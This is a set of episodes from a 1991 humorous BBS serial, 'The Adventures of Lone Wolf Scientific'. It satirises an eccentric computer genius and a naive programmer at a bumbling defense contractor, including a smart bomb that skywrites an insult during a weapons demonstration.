time of war that you might later regret having said."
"Can I at least program it to skywrite 'scumball'?" S-
max began keying in the phrase.
"No, I'm afraid you can't."
"How 'bout 'meatball brains'?"
"I'm afraid that's outlawed too."
"How 'bout testosterone-less simp'?"
"Also verbotten."
S-max's typing grew fast and frantic. "Can I enter
them in Polish?"
"No, you can't enter them in any language. I've built
into the software invective glossaries for 728 foreign
languages, including Urdu, to ensure that no one mistakenly
programs the smart bomb to skywrite words they may later
regret having said."
"You mean I won't be able to make the missile spell
'eel toes' in the clouds whenever I need it to?!!" The
computer builder gazed in horror at the red flashing screen
as long rows of error messages scrolled across it.
"I'm afraid not. As I told you, I built the parser
around your daily vocabulary--"
S-max gasped, "You lunatic!" Before the Cub Scoutish
programmer had a chance to finish gathering up his
programming tools, the enraged computer builder seized him
by the shirt collar, jerked him out of the zebra skin-
covered chair, and bustled him back across the office and
deposited him on the dirty floor beneath the coat tree from
whence he came. "And don't move until I tell you to, you
troublemaker!" he blustered. Shuffling back to his desk, a
dark scowl creasing his face, the thwarted missile launcher
grumped, "This is what I get for choosing a brains-in-a-
function-key programmer to collaborate with me on my
greatest hopes, plans, and ambitions." He grunted in
despair.
<Finis>
>>>In the next episode of "The Adventures of Lone Wolf
Scientific," S-max tries to foil the language parser that
his programmer officemate has cleverly crafted into the
smart bomb's software.<<<<

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----------------------------------------------
"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. All rights reserverd. May
not be distributed without accompanying
WELCOME.LWS and EPISOD.LWS files.
-----------------------
EPISODE #15
The High-Tech Weapons Demonstration
>>Dingready & Derringdo Aerospace unveils their newest crop
of computer-guided missiles to military dignitaries. Will
the proceedings be disrupted by a certain hardware hacker in
ratty sneakers?<<
by Michy Peshota
"Aren't those bull's eyes rather large?"
"Not if you're a really large bomb."
A missile sailed past General Figgerty and Bing-bing
Huntz in the bleachers and disappeared with a tuckered out
whistle in a clump of bushes on the other side of the test
field. Both gazed in disappointment at the missed twelve-
foot-high bull's eye.
"That missile has a much higher reliability rating on
the battlefield where there are no lilac bushes present,"
the president of the aerospace company said. He pointed to
the next event listed on the program in the general's hands.
It read "Demonstration of THERMONUCLEAR GUERNSEY."
THERMONUCLEAR GUERNSEY was the bomb's codename. "Our next
smart bomb contains so many microchips," he said, "it is
capable of honing in on, not just bull's eyes, but giant
cardboard cutouts of cows. Even under cover of darkness."
Raising his binoculars to his eyes in executive
anticipation, he focused on the technicians a hundred yards
off who were loading a football-shaped object into what
appeared to be a giant slingshot.
The general glanced uneasily at the other side of the
field where a billboard-high cutout of a milk cow straddled
the grass like a Texas barbecue decoration. A bull's eye
was lashed to its flanks. "But if they're smart bombs," he
persisted, "why do they need bull's eyes?" It was a
question that had nagged him all through the high-tech
weapons demonstration. "Don't the bombs contain the
electronic circuitry and computer software to zero in on the
cows themselves?"
"General, oh, general," the executive sighed, resting
his binoculars in his portly lap. "We at Dingready &
Derringdo have found, through years of experience with
ballistics--and I mean years, we have more experience than a
certain competitor of ours whose smart bombs seem to keep
capturing the public's imagination solely on the basis of
their accuracy--that software <<always>> works better when
there's a bull's eye present."
The missile launcher lobbed its football into the air.
It arched toward the clouds with a wobbly uncertainty.
Reaching the crown of its flight, it cracked in two like a
candystick, and its halves fell earthward with a heavy
futility. One knocked over the cardboard guernsey.
"We may be in the experimental stages for years with
some of these highly sophisticated weapons," Bing-bing Huntz
said. Peering through his binoculars, he spotted what
appeared to be a parasitic spot scurrying up the bleachers
toward him. It quickly grew to the size of a three-piece
suited monster in his otherwise sunny view. He jerked the
lenses from his nose to see, crouching in front of him, the
wiggly form of the irritating engineer-manager Gus Farwick.
His head was clamped between two over-sized audio earphones,
he waved a musical baton like an aspiring instrument of
torture. He wheezed, "Is it time yet?"
"No, it's not time yet, Mr. Farwick! When it's time,
believe me, I will tell you." Huntz lifted his binoculars
back to his eyes and tried to ignore the impatient manager.
It was the fourth time that afternoon that Farwick had
interrupted him to ask if it was time yet for the musical
portion of the smart bomb demonstration. Granted, Huntz
found the engineer-manager's composition "Onward, Dingready
Soldiers, as Sung to Chariots of Fire" as spiritually
uplifting as anyone else in the little aerospace company,
but there was a time for leading engineers in song and there
was a time for firing overpriced munitions, and, in the case
of Dingready & Derringdo's weapons demonstration to General
Figgerty and his retinue from the Pentagon, Farwick's Greek
chorus from R & D was not going to start their antistrophes
until so many over-budget munitions had missed their mark
that drastic measures were required to lift the audience's
flagging spirits.
Farwick, faced with the indifferent, binoculared eyes
of the company president, sighed and scurried back down the
bleachers to the sad-eyed phalanx of engineers clenching
music sheets waiting for him below.
As he disappeared amid the red choir robes, the general
watched him and, as his eyes scanned over the pasty faces
and rumpled hair, they came upon a familar lopsided nose and
condescending, indignant scowl poking up from above a choir
robe. The general could not recall where he had encountered
those eyes and that nose before, but he was suddenly
overcome with a feeling of primal helplessness and a dark
forboding that seemed to bring with it a mental image of
copious amounts of duct tape. He instinctively turned his
head away so as to avoid any painful recollections of who
this engineer was.
"The next smart bomb," Huntz continued, pointing to the
codename 'THERMONUCLEAR CHECKERS' printed on the general's
program, "is designed to completely annihilate any and all
billboards painted with giant checkers that the enemy may
have to offer." He directed the general's gaze across the
field to a checkered billboard. A large bull's eye was
strapped to it.
"Huntz, I fail to see the strategic significance of
having bombs that can seek out and destroy billboards
covered with giant checkers--"
"General--"
"Please, let me continue. I've already paid you $17
million in R-and-D costs. I have a right to be heard." His
face flushed red. "I simply fail to see the purpose of
having computer-guided warheads that can seek out and
destroy cardboard cutouts of cows, piles of watermelons--"
"General--"
"--or warehouses full of old phone books, OR mattresses
spray-painted with the words 'UNDERGROUND SILO,' or--"
"General, general," the executive chuckled. "<<You>>
are the great military strategist. You are the military
mind who has been compared to Patton, to Eisenhower even.
You are the one who's job it is to deploy state-of-the-art
technology on the battlefield. Our purpose is merely to
provide you with the tools you need. <<You>> are the one
who must provide the imagination to use them. We can't help
you with that." He chuckled again.
Another warhead whizzed past them. It missed the
honeysuckle bush with the bull's eye lashed to it to which
it was headed and disappeared a hundred of yards off in a
grove of trees. All necks cranned to see where it went.
From the vacinity of the company parking echoed a "boom!"
The tinkle of shattered glass and clink of rolling hubcaps
followed. Two technicians lugging kitchen fire
extinguishers dashed off across the field.
"Looks like another honeysuckle bush got away," the
general gloomed.
The next bomb on the weapons demonstration program was
codenamed THERMONUCLEAR FIELDS. It was engineered
specifically for blowing up large empty fields. As the
general and Bing-bing Huntz watched it arch into the air,
then vanish permanently in the clouds like a delinquent
kite, the general asked, "What happens when you lose bombs?"
"They're usually identified soon after by nearby
residents as UFOs."
"But you do recover them, don't you?"
"Well, yes, sometimes, assuming we can retrieve the
pieces fast enough before they're sold to the supermarket
tabloids."
From two steps below on the bleachers came a familiar
whine. "Is it time yet?"
Both the general and company president stared down in
mutual irritation at the unctuous engineer-manager who had
once again struggled up the steps with his assailant's baton
and was now standing before them with the peevish foreboding
of a psychopathic accapellaist.
"No, Mr. Farwick," Huntz moaned, "it is not time yet."
The general inspected the waiting chorus on the field
and once again sighted the man with the brooding scowl and
lopsided nose. Beneath his choir robe, he wore large ragged
sneakers, and orange t-shirt printed with what appeared to
be a faded infinity sign poked out from beneath the robe's
open collar. He seemed to be skulking in the back of the
chorus as if he didn't want to be seen. Suddenly, the
general knew who the crooked-nosed man reminded him of.
"Huntz," he said worriedly, as the latter watched the
insect-like form of the engineer manager struggle down the
bleachers, "you wouldn't have the bad luck to employ a
research engineer by the name of Sherwood Franklin Maxwell,
would you?"
"Maxwell?" the executive mused. "No idea."
Farwick, who was stepping awkwardly between two gun-
wearing CIA agents and had just tipped over the popcorn of
one, froze upon hearing the dreaded name. <<Maxwell.>> He
shuddered and listened.
"Curious fellow," the general continued. "An I.Q.
higher than the odometer on my jeep, and with more advanced
engineering degrees than can be found in an emerging
industrial nation, but let me tell you, he's more trouble
than a nuclear submarine lost under the Pacific." The
general grew suddenly impassioned. "Do you know that we
once had to redesign a two-ton Star Wars satellite because
of him?"
"You can be certain he's not an employee of <<ours>>,"
Huntz chuckled. Secretly, though, the president of the
defense contractor wondered if this Maxwell-character
<<was>> a Dingready & Derringdo employee. Afterall, Huntz
never bothered to venture into any of the aerospace
company's mamy, many research sub-basements, and god only
knew what went on down <<there>>.
"He mailed the satellite's blueprints to the National
Aeronautics and Space Administration," the general
continued, "along with diagrams for how to fasten it inside
the space shuttle's cargo bay with duct tape. I was told he
was trying to get transferred to NASA or something. It
almost worked."
Farwick congratulated himself for having been wise
enough to quarantine Employee S-max in his office during
this most important weapons demonstration. At this very
moment, the meddling computer builder was sitting behind his
desk, far from either phone or electrical outlet, flipping
through an employee motivation calendar and memorizing the
quotes from employee motivation gurus that were printed
therein.
As the general and company president's conversation
turned to an examination of why a four-million-dollar
computer-guided rocket bomb designed to seek out and destroy
mounds of tangled up coathangers had just ended up in a
patch of mulberry bushes, Farwick continued stepping his way
through the CIA panjandrums, confidently, with a renewed
sense of managerial omnipotence. Suddenly, he heard a
bellow of "Farwick! Start them singing!" and his musical
baton knocked the hats off three lieutenants in front of
him, and he bolted the rest of the way down the bleachers,
tripping over briefcases and knocking over popcorn along the
way. Arriving on the field, he hurriedly gathered together
his acapellists, lifted his baton with the surety of one
about to strike out with a fly-swatter, shaped his mouth
into a sordid "o", and brought the baton down with the force
of one semaphoring on an aircraft carrier in the fog. His
songsters began: <<"Our blow-torches are reeea-dy!...">>
"Our next smart bomb," Bing-bing Huntz shouted to the
general, his words drowned by the off-key chorus, "is an
especially deadly ground-to-air missile...."
<<"Our shoestrings are tieeeeed!....">>
He pointed out the codename on the program. THE LAST
WORDS BOMB. "Our programmers have been working very hard on
this one," he shouted. "According to Farwick, some have
even pulled an all-nighter or two. I can't imagine what has
inspired them."
<<"Our desks are in orrrrder! Our courage is too!">>
On the test field, the sling-shot-missile launcher
lobbed what looked like a giant pineapple into the air.
<<And when the dawn breaks above our research and
development sub-basement, we'll be waiting...."
The pineapple soared toward the clouds with a sonic
crack that caused the bleachers to shudder faintly and the
singers to lose their pitch.
<<To build a better spy-plane, or maybeeee...">>
It curled across the blue with drawing board-perfect
grace, red smoke unfurling behind it. It swept into the
letter G.
<<An onboard pizza-maker for a B-2!>>
It wove a U over the clouds. It scrawled an S. It
skipped a cloud, and after it scribbled with hasty
determination "FARWICK." The singing stopped for a moment
as everyone looked upward and gaped.
The engineer-manager cracked his baton on the portable
podium with oblivious determination. The choir resumed,
"<<But the thing we are best at....>>"
The bomb plundered further into the clouds. It wove a
red curlicue, then it spelled, "S...I...N...G...S...T...
H...E...B...I...G...K...A...H...U...N...A."
The onlookers gasped.
Annoyedly, the engineer-manager cracked his baton so
hard on the podium it cracked. The choir, still watching
the sky, shakily resumed, <<"...is the thing we most like to
doooo!...>>"
The missile swooped down like a vulture at its prey and
everyone in the bleachers and on the field dived to the
ground or under the seats, their hands covering their heads.
Farwick stubbornly sung the last words of the song
himself. "<<And that is, making things explode when they're
supposed to!>>" He stretched out his arms out like
Pavarotti.
The Last Words Bomb curled to the side and flew
straight into the heart of a bull's eye propped on hay bales
in the center of the field. It exploded in a white burst of
flame.
Stunned spectators struggled up from the ground or
crawled from beneath the bleachers, as a blanket of smoke
drifted over the hushed field. Many stood silently looking
up at the sky and its curious proclamation "GUS FARWICK
SINGS THE BIG KAHUNA." Some wondered if it was a message in
code, and others if it was a typo. A few considered it a
fitting overhead caption to the warped singing on the
ground. A handful even toyed with the possibility that some
of its nouns and verbs might be clever dodges of the bomb's
rumored language parser, and a more subtle, potent message
lurked beneath. <<SINGS...SOCKS?...
SUCKS?>> For whatever reason, the crowd spontaneously
erupted in a huzzah of blind and barbaric gusto.
General Figgerty slapped Bing-bing Huntz on the back.
"Golldamnit, your research people never cease to surprise!"
The company president smiled and said, "Now, I never
want to hear you or your people complaining again about $17
million being mispent."
The only one who was unappreciative of the screwball
proclamation now smearing across the sky was the former
aspiring symphonic choir conductor. He pulled off his audio
earphones and gazed at the clouds with the malevolence of
one who's greatest work of art has just been hideously
maligned. He clenched his cracked baton and envisioned
himself administering deadly karate chops to the perpetrator
of this fiendish affront, a man who at this very moment was
probably slouching in his zebra skin-covered computer chair,
smirking. Gus Farwick Sings the Big Kahuna, indeed!
Far down the test field, a man in a faded orange,
infinity-sign emblazoned t-shirt, his choir robe trailing in
the dirt, shuffled off in raggedy sneakers. He did not know
exactly where he was headed, except that he had a suspicion
it might be best if he went to clean out his desk. He did
not want to forget his ten pound roll of duct tape or his
classic SIMMs extractor collection in the top drawer, as he
had done at the last place of employment from which he had
been fired. Dingready & Derringdo Aerospace's five-foot-
thick concrete walls, laser-eye security system, and armed
guards might make sneaking back at night with burglary tools
to retrieve them rather difficult.
He also figured that he had better tell his officemate,
the ever-naive Andrew.BAS, about this latest turn of events.
He seemed to recall the programmer having said something
about planning to pay the rent next week, and since he had
liberally commented the The Last Words Bomb's software with
"ANDREW.BAS WROTE THIS" he figured he had best tell him
before he wrote the check.
<Finis>
>>In the next episode of "The Adventures of Lone Wolf
Scientific"....When S-max and Andrew.BAS find themselves
without a job and without any viable character references,
they decide that the only option left is to start a high-
tech company together.<<

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EPISOD.LWS
Copyright 1991 M. Peshota
This is a list of all installments of "The Adventures of
Lone Wolf Scientific" and when they first appeared--as well
as sneak previews of future installments:
I -- "The Computer Genius Goes to Work" -- The worst thing
that can happen to a globe-trotting computer genius is
gainful employment. From a curb outside an artificial
intelligence company, computer genius S-max contemplates the
wreckage of his employment history. He desperately hopes
the rescue mission is properly wired for his needs.
(1.21.91)
II -- "The Second Renaissance of Space Exploration
Technology and What Happened to It" -- Bashful boychild
software engineer Andrew.BAS stumbles unwittingly
into the neurosis and smashed dreams of the military-
industrial complex. Within days he loses his soul while
waiting for a government security clearance. (2.4.91)
III -- "When Men of Destiny Meet" -- Robbed of the last
vestiges of his engineering school idealism, the dimpled
young software engineer's spirits improve when he befriends
another man who also failed to get a job on the space
shuttle. (2.18.91)
IV -- "Welcome to The People's Republic of Engineering --
Abandon Hope Ye Who Enter Here" -- Andrew.BAS, the kid
computer programmer who looks like the kind of computer
programmer Norman Rockwell would have drawn, is horrified to
learn that he will be writing batch files to aim nuclear
missiles. Meanwhile, his new officemate gets into a snit
with their boss over anti-static boot mats. (3.4.91)
V -- "Bad Days Befall The People's Republic of Engineering"
-- Super engineer-manager Gus Farwick contemplates his
newest problem employee and formulates ways to keep him
safely in his office. (3.18.91)
VI -- "A Day in the Life of Two Defense Workers" -- S-max
and Andrew.BAS struggle to adjust to their new lives
as defense contractor workers. When the computer builder
tires of his responsibilities keeping track of "super-string
defense links," he convinces his officemate that they should
design a closet-sized replica of NASA's Mission Control.
(4.1.91)
VII -- "The House Guest with 172 Soldering Irons" --
Andrew.BAS naively offers his homeless officemate a place to
sleep. He and S-max are barely out of the company parking
garage when the generous-to-a-fault programmer begins to
regret his offer of hospitality. (4.15.91)
VIII -- "The House Where Andrew.BAS Lived" -- The home of a
computer programmer is always a special place. It's where
free and perfect cerebral sensibility clash with a complete
ineptitude with tangible things. Andrew.BAS's house is no
exception. Overbearing houseguest S-max decides that, even
though it's nowhere near a Radio Shack, it's an ideal
place to inhabit indefinitely. (4.29.91)
IX -- "The Ghost of Alan Turing" -- Monkish assembly
language wizard Austin Jellowack is pestered by an unwelcome
pal from a higher programming realm. (5.15.91)
X -- (UPCOMING 5.27.91) -- "Tense Moments In Mission
Control" -- A nerve-wracking morning at military contractor
Dingready & Derringdo Aerospace is made even more tense
by a visit from boss Gus Farwick. With notes and camera in
hand, the conniving head of engineering compiles
documentation to terminate the employment of his two most
troublesome employees.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
If you enjoy "The Adventures of Lone Wolf Scientific" please
upload it to other BBS's.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

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---------------------------------------------
"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. May not be distributed
without accompanying WELCOME.LWS and
EPISOD.LWS files.
----------------------
Welcome to The People's Republic of
Electrical Engineering
"Abandon Hope Ye Who Enter Here"
>>Andrew.BAS, the dimpled young computer programmer who
looks like the kind of programmer Norman Rockwell would have
drawn, is horrified to learn that he will be writing batch
files to aim nuclear missiles. Meanwhile, his new
officemate gets into a snit with their boss over anti-static
boot mats.<<
By M. Peshota
The engineer-manager, striding ahead of them into the
darkness, droned on like a cardboard sergeant. "Should you
find yourself lost in the research and development sub-sub-
sub-sub-sub-sub-sub-basement, just follow the jet engine
pieces on the floor. They'll lead you straight into heart
of The People's Republic of Engineering."
S-max grunted in appreciation for this travelling tip.
A stricken Andrew.BAS whispered to him, "I still can't get
over the fact that we're going to be building nuclear bombs.
The employee recruitment brochures that they passed out at
my college never said anything about writing batch files to
aim missiles at major population centers."
"Will you just mellow out!" the computer builder huffed
in impatience. "I don't see why you can't make the best of
this. Just because you'd rather be a space cadet than work
for a military contractor is no reason to incessantly whine
in my ear. I, personally, am looking forward to the
opportunity to work with state-of-the-art peace-keeping
materials." He grunted. "Just think of all the wonderful
things you'll be able to do with a surface-to-air missile."
Rounding a hall corner, the trio heard a maniacal
shriek, then spotted the shadow of a hunchback in a space
suit scurrying across the path in front of them.
Farwick noticed Andrew.BAS gaping at a printout banner
that clung to a cinderblock wall like refuse from a failed
liberty uprising. It read: "Welcome to the Gus Farwick's
People's Republic of Engineering, Abandon All Hope Ye Who
Enter Here." The engineer-manager smiled. "The research
engineers and I share a remarkable relationship. Some of
them think of me as their father. That's probably because I
enjoy hearing about the things they do, even though the
technicalities involved make no sense to me."
S-max shot Andrew.BAS a look of intense and profound
relief. The programmer wondered what that meant.
Their new boss continued, "We do a lot of special
things together here in The People's Republic of EE. Last
month, for instance, I treated everyone to new alligator
clips. Sometimes we sit around during lunch and talk about
electricity. That's how close we are."
The trio reached a drain-opener green door. A yellowed
window mounted in the center and reinforced with chicken
wire suggested a cross between a door from a seedy public
washroom and a San Quentin cell. Farwick jiggled the knob
and swung the door open with a clatter. "Mr. Jellowack!" he
chimed. "I have officemates for you!"
They spotted, hunched in a far corner of the office,
what looked like a gargoyle with humungous black-rimmed
glasses bobbing askewedly from his nose. Perched on a tall
stool in front of a computer terminal, his hair and fingers
flying, he looked like a dungeon apprentice to lunacy. He
peered at them with dark feral child eyes for a second, then
his gaze darted back to the terminal screen as if he
preferred to think they didn't exist.
"This is Mr. Jellowack," Farwick motioned to him. "He
programs exclusively in assembly language, sometimes for
days without sleep, fresh air, nourishment, or healthy human
contact. This, I am told, is something at which to both
marvel and consider highly dangerous."
S-max squinted suspiciously at the assembler savant as
if he could see already how dangerous he was.
Andrew.BAS waved at him in a bright-eyed, friendly
programmerly fashion. "Hello, Mr. Jellowack!" he hailed.
"My name is Andrew.BAS. My favorite programming language is
C, although I do occasionally enjoy adding assembly language
subroutines to my code."
S-max rolled his eyes in disgust at such a mawkish
display of the over-friendliness programmers like to lavish
upon each other at any meeting.
Mr. Jellowack ignored them and continued prancing his
scarred knuckles over the keys.
Farwick swept around the office, arms extended, like a
real estate agent. "One of the many amenities of this
particular office," he began, "is the plastic boot mat in
the corner." He pointed at it with pride.
S-max scrutinized it. "Is it anti-static?"
"Umm..."
"THEN WHAT GOOD IS IT?!" the indignant computer builder
howled.
Farwick paused in distress, then ignored him and
continued on in an animated, Cavalcade of Homes fashion.
"But wait!" he said. "There are other hidden graces to this
particular earthen sanctum---"
S-max glared at the battered metal desk in the center
of the office. "Why is there only one empty desk?" he
demanded. He unfastened the big, plastic walkie-talkie that
was clipped to his belt. He slammed it onto the desk with a
territorial fury. "And why isn't Andrew.BAS getting a
desk?"
Farwick paused and gazed at the desk. Yes, the wierd
man with the walkie-talkie was correct. There was only one
empty desk, and he had two new employees to accomodate.
What to do? He bit his lip in indecision. He hated
requisitioning office furniture. There were so many forms
to fill out, so many questions to answer, so many big green
boxes to check. He finally mumbled, "I suppose you two can
share the desk."
"I DO NOT SHARE DESKS!" S-max erupted.
Farwick quivered.
"I AM A FAMOUS COMPUTER DESIGNER! I AM USED TO SPECIAL
TREATMENT!" The enraged computer builder flung his baboon-
big arms in the air, all the while rattling like a million
broken screwdrivers. "At other high-tech installations
where I have worked, I was not only given my own boot mat
and my own pad of While-You-Were-Out memos, I was allowed to
walk around in jeweled slippers!" he howled. "I had an
office that that overlooked a major freeway! I had an index
card with my own name printed on it, spelled correctly too
and taped to the office door! It was taped with the highest
quality masking tape available! I was provided with an
almost limitless supply of Post-It Notes! Think about it:
<<a limitless supply>>! The crowds gasped and parted
whenever I walked in the direction of the Cray-YMP with a
screwdriver!" He huffed and sputtered and pulled from a
pocket inside his army jacket the most humungous circuit
diagram that Farwick had ever seen. He crushed it into a
desk drawer. "Some days I played video games until I
dropped!" he continued hotly. "Other days I took naps at my
desk! My wastebasket was emptied almost daily! People
retrieved for me my t-shirts and gym socks whenever I
dropped them in the hall! THAT'S BECAUSE I AM A FAMOUS
COMPUTER DESIGNER! I AM USED TO SPECIAL TREATMENT!" As he
glared at Farwick, the engineer-manager felt every fiber in
his body turn to pudding. "I do not share things,
especially not desks, and <<especially>> not with some low-
life computer programmer!" S-max motioned irritatedly in
the direction of Andrew.BAS.
Andrew.BAS wondered what he had done to deserve the
designation of low-life. Meekly, he placed his backpack
full of engineering textbooks and his briefcase full of sci-
fi novels on the floor beside him. "I'll just sit on the
floor," he volunteered politely. "The last thing I want to
do is cramp S-max's style."
S-max looked relieved. So did Farwick.
The engineer-manager clapped his hands together. "Then
we are all moved in."
S-max looked around the office bewildered. "One last
question," he said. "Where is my champagne-filled Jacuzzi?"
"You'll have to take that up with the sales and
marketing department." The engineere-manager bolted towards
the door. "They have all the champagne-filled Jacuzzis at
the moment. We don't get many down here in R and D unless
they're in need of a new landing gear or something like
that." With that, the frightened Farwick fled down the
hall, leaving the self-proclaimed "famous computer designer"
scowling indignantly and the gentlehearted computer
programmer wondering what he had done to deserve a life of
sitting on the floor, programming nuclear missiles to
annihilate major population centers.
>>>>In the next installment, "Bad Days Befall the People's
Republic of Electrical Engineering," engineer-manager Gus
Farwick contemplates ways to keep the restive S-max safely
in his desk and out of trouble.>>>>
<Finis>

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---------------------------------------------
"The Adventures of Lone Wolf Scientific"
------------------------------------------
"The Adventures of Lone Wolf Scientific" is
an electronically syndicated series that
follows the exploits of two madcap
men of high-technology. Copyright
1991 Michy Peshota. May not be
distributed without accompanying
WELCOME.LWS and EPISOD.LWS files.
----------------------
EPISODE #1
-------------------
The Computer Genius Goes to Work
>>The worst thing that can happen to a globe-trotting
computer genius is gainful employment. From a curb outside
an artificial intelligence company, computer genius S-max
contemplates the wreckage of his employment history. He
desperately hopes the rescue mission is properly wired for
his needs.<<
By M. Peshota
The computer genius took a seat on the curb outside the
artificial intelligence company from which he had just been
ejected. The reason for his firing this time was that he
had refused to speak to anyone in the company. He felt that
this was unfair. He didn't speak to imbeciles. That was
just the way it was.
He unfastened the big plastic walkie-talkie that was
clipped to his belt and started fiddling with it. It was
his form of whittling. Whenever he had things to think
about, he took apart his walkie-talkie. If anyone had
passed by and spotted the bear-sized computer dweeb with the
ripped sneakers, Moammar Ghaddaffi pout and dark brooding
eyes, perched on a curb, disembowling a walkie-talkie, they
would have run for the police. The Chia Pet-like helmet
that was his hair and that was the shape and color of
violent explosions on TV from which there are seldom
survivors would have prompted them to run faster.
Job loss ordinarily had little effect upon S-max. This
was because he had more important things to think about than
how to earn a living. There was neural processing, for
instance. There was gallium arsenide. There were thrilling
new video games coming into the stores almost each and
everyday. (Curiously, none of the computer genius's former
employers seemed to appreciate one of the most astounding
traits of his remarkable mind and that was that he
did his best work after playing seventeen straight hours of
video games. Equally amazing, most of them insisted that he
show up for work everyday--as if a computer genius of his
stunning intellect should have to work everyday!)
Through the past year, ever since S-max's parents had
booted him and his myriad of feckless inventions out of the
house, the computer genius had found it increasingly
difficult to hold a job. There was the Swedish
telecommunications firm, for instance, from which he was
fired for taking indecent liberties with other people's
geostationary satellites. There was the Nevada chip-maker
from which he was suspended without pay after parking his
Chevy with the satellite dish on top in the reserved parking
spaces of company executives.
There was the Montana aerospace firm from which he was
booted after the FBI brought in a computer expert to dump
over his wastebasket and sort through its contents after he
had discovered, quite by accident one day, that all it took
was one directory sort and a liberally applied case of flux
remover to bring every Defense Department computer network
crashing to its knees. O, what a tragedy that had been!
Then there was the Brazilian mini-computer maker. Just
because the computer genius had disappeared for three months
with a company inflatable dingy and, upon reappearance, had
explained that he had been to a DIP switch convention in the
South Seas, was no reason to leave him out in the jungle for
six weeks with nothing but a can of pinto beans and a ribbon
cable.
Normally, the computer genius couldn't care less when
he got the pink slip. He took his walkie-talkie and his
shopping bag full of screwdrivers and shuffled out the door
with a sniff of indignation. He never looked back. He
never apologized. If anything, he pitied his former
employer for its shortsightedness in firing a computer
genius of his magnificent intellect. This time, however, his
brusque escort to the artificial intelligence company
parking lot left him feeling a mite bitter. Maybe it had
something to do with the fact that it had been less than
forty-eight hours since he had lost his job at a
semiconductor manufacturer, he reflected.
Again, the whole affair had been shockingly unjust.
Just because the company's Cray-Y-MP-Z80 supercomputer had
inexplicably vanished one night and its kitschy Naugahyde
designer seat cushions had been discovered the next day
stacked atop a file cabinet in the computer genius's office
(except for one which was found epoxied to his computer
"prayer stool") was no reason for security guards to hussle
him to the door and take away his cafeteria pass. It had
been an enormous blow to his frail ego, especially in light
of the fact that it had been only three days since he had
lost his job at a robotics firm for driving a forklift
through the false floor in the computer room in the
middle of the night.
O, why couldn't these people appreciate true genius for
what it was? Afterall, he was nothing but a man who
fervently believed that one's creativity should never be
needlessly hampered by the constraints of responsible
engineering, moreless responsibility in general.
S-max grunted indignantly, poking a gnarled transistor
with a brutish, solder-caked thumb. It would all be
different, he reflected, jerking a tangle of wires from the
back of his walkie-talkie with a grunt, if his career as a
travelling Rubik's Cube pro had turned out differently.
At first it was heady, travelling from agricultural
fest to custom car rally, demonstrating to gaping crowds the
wrist twists and thumb flips that had earned him the
honorific of "The Rubick's Cube Kid." Despite appearances,
solving the magic cube was not a talent the computer genius
had been born with. Indeed not. It was a skill in which he
had invested hundreds, possibly thousands of hours
perfecting while in the employ of one dreary high-tech firm
or another, until finally, he knew that it was a talent he
could no longer keep to himself and whatever officemates he
may have at the time, but had a responsibility to share with
the rest of the world.
The pinnacle of S-max's Rubik's Cube pro career came
when he solved the magic cube in a record six seconds while
parachuting out of an airplane over a meeting of the
Association of Accumulating Computing Machinery. In his
"Dinky the Transistor" clown costume, the tatters of his
parachute streaming behind him like zinnia petals ripped in
the wind, he crashed through the trees, landed on top a
picnic table, bounced off a styrofoam model of an old
Univac, and landed on top a guy in a wizard's cape and hat,
his "Dinky" costume badly ripped, but his spirits soaring as
he was lifted into the air by a mob of mothy old computer
engineers who cheered "Dinky! Dinky!"
Little did he suspect that just two weeks later, during
a cuthroat "cube-down" at a zucchini roast in Omaha, he'd be
badly beaten by a fourteen year old with incredible manual
dexterity, and would later find himself stranded in an Omaha
bus station, penniless, despirited, a washed up intellectual
Olympian with nothing to his name but a dumb plastic cube
and a suitcase full of Mattel lifetime achievement plaques.
But the computer genius was not a man to know hard
times for long. When he saw opportunity, he seized it, and
that's just what he did when he began selling the four
million-watt power supplies for personal computers. Now,
most personal computers have power supplies of only 100 to
200 watts, most personal computer never need anymore watts
than that, but the computer genius, inspired by his lifelong
credo that one's creativity should never be needlessly
hampered by the restraints of responsible engineering,
moreless responsibility in general, and realizing how much
personal computer owners, like fast car afficianadoes, are
always craving faster speed, more zoom to the metal,
proceeded to unload truckload after truckload of four
million-watt computer power supplies upon unsuspecting
personal computer owners.
When purchasers wrote to the computer genius asking him
what they could do with four million watts on their
motherboards, he responded gleefully: "There are many things
that you can do with four million watts! You can power
small industrial plants. You can make inquiries into
whether any rural communities in your area would like extra
electricity. You can recharge golf cart batteries for
yourself and friends. You can start your own radio station.
Or, you can just add on lots and lots of expansion boards.
Think of the fun!"
As with many of S-max's other similar high-tech
entreprenuerial ventures, it didn't take long for the
appropriate consumer protection agencies to track down the
name and face behind the anonymous post office box number.
Before he knew it, angry-looking men who looked alarmingly
like Ralph Nader were pounding on his door, demanding
details of his product's Underwriters Laboratories tests.
The computer genius barely escaped with his life. He fled
to Cincinnati where he laid low for a while, selling
integrated circuit test clips under a variety of aliases and
living in a secret, concealed room above a Snookey's Parts
Shack store.
S-max clipped his now reassembled walkie-talkie back
onto his belt and contemplated the decline of western
technology as evidenced by the horrible fact that no one
cared to keep him in their employ for very long. You can
be sure this would not be the state of affairs in Japan,
he grunted to himself. In Japan, computer companies would
doubtless be falling all over themselves trying to hire and
retain an employee with the unvarnished Yankee ingenuity of
S-max. Why, they would probably even offer to keep him in
miniature digital clocks for the rest of his natural days,
that's how grateful they would be for his novel approaches
to computer engineering.
S-max got up from the curb and dusted himself off. It
had occurred to him that the withered and decomposing form
of a computer genius lying in the gutter would not look
pretty and might even deter impressionable youth from
entering the exciting world of high-technology should they
happen to pass by. And he certainly didn't want that to
happen.
As the computer genius shuffled down the street, he
fervently hoped that the rescue mission to which he was
headed was properly wired for his needs.
<Finis>
>>>In the next episode, "The Second Renaissance of Space
Exploration Technology and What Happened to It," S-max has a
soulmate in the making. Tune in then.<<<

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"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. May not be distributed
without accompanying WELCOME.LWS and
EPISOD.LWS files.
-----------------------
EPISODE #6
-----------------------
A Day in the Life of Two Defense Workers
>>S-max and Andrew.BAS struggle to adjust to their new lives
as defense contractor workers. When the computer builder
tires of his responsibilities keeping track of "super-string
defense links", he convinces his officemate that they should
design a closet-sized replica of NASA's Mission Control.<<
By M. Peshota
